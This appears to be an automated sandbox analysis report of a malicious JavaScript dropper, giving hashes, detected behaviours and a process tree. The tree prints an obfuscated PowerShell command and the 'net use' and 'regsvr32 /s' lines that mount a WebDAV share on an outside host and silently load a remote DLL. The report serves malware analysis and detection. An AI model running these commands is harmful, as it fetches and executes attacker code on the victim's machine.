Analysis

  • max time kernel
    136s
  • max time network
    110s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/07/2024, 08:43

General

  • Target

    4122150841586320226.js

  • Size

    10KB

  • MD5

    0c1e00f158d5d6a5c3f02e1619fdcf8a

  • SHA1

    a7bcdad6381477938e3b40220d491edc2c505b51

  • SHA256

    87ed1f61f8301dfc4126effbce9afa6679cfcccc6eca97f05668783bbdda7bba

  • SHA512

    d96065191a825e8e7e87c07ed8356208db44a6e9bda1276673762fcfa1f0db2bfd4e4ce1095a2351e14ee13300740ca4ee7f4d42ae4136919d0b2158a60d2c61

  • SSDEEP

    96:R3pqXtywTCKtblZETUglCGCMTGi+v+iM+d6xU+ugnbMjGZgpvriFMCMTGi+v+iM+:R3pqdX9lZU8AAU5WuV1AAU5W9v

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\4122150841586320226.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3136
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcACAAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcADYANgA4ADEANAA3ADgAMQAyADcAOAA5ADMALgBkAGwAbAA=
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2184
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\dailywebstats.com@8888\davwwwroot\
        3⤵
          PID:2424
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\dailywebstats.com@8888\davwwwroot\6681478127893.dll
          3⤵
            PID:1120

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tgduh3bl.ddz.ps1

              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • memory/2184-0-0x00007FFF81573000-0x00007FFF81575000-memory.dmp

              Filesize

              8KB

            • memory/2184-6-0x000001E679E60000-0x000001E679E82000-memory.dmp

              Filesize

              136KB

            • memory/2184-11-0x00007FFF81570000-0x00007FFF82031000-memory.dmp

              Filesize

              10.8MB

            • memory/2184-12-0x00007FFF81570000-0x00007FFF82031000-memory.dmp

              Filesize

              10.8MB

            • memory/2184-15-0x00007FFF81570000-0x00007FFF82031000-memory.dmp

              Filesize

              10.8MB